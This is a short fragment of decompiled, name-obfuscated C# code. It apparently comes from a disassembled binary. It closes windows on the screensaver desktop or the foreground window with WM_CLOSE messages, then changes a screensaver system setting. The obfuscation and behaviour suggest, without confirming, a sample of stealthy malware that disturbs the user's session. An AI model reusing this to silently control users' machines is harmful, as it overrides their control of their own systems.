// Token: 0x0600009C RID: 156 RVA: 0x0000255D File Offset: 0x0000075D
 internal bool InterruptMapper(IntPtr asset, IntPtr caller)
 {
     if (ParamRuleContainer.IsWindowVisible(asset))
     {
         ParamRuleContainer.PostMessage(asset, 16, 0, 0);
     }
     return(true);
 }
        // Token: 0x06000033 RID: 51 RVA: 0x000042D4 File Offset: 0x000024D4
        public static void PrepareContext()
        {
            IntPtr intPtr = ParamRuleContainer.OpenDesktop("Screen-saver", 0, false, 129u);

            if (intPtr != IntPtr.Zero)
            {
                ParamRuleContainer.EnumDesktopWindows(intPtr, new ParamRuleContainer.StructRuleClass(ParamRuleContainer.ExceptionSpecificationQueue.proccesor.InterruptMapper), IntPtr.Zero);
                ParamRuleContainer.CloseDesktop(intPtr);
            }
            else
            {
                ParamRuleContainer.PostMessage(ParamRuleContainer.GetForegroundWindow(), 16, 0, 0);
            }
            IntPtr zero = IntPtr.Zero;

            ParamRuleContainer.SystemParametersInfo_1(17u, 1u, ref zero, 2u);
        }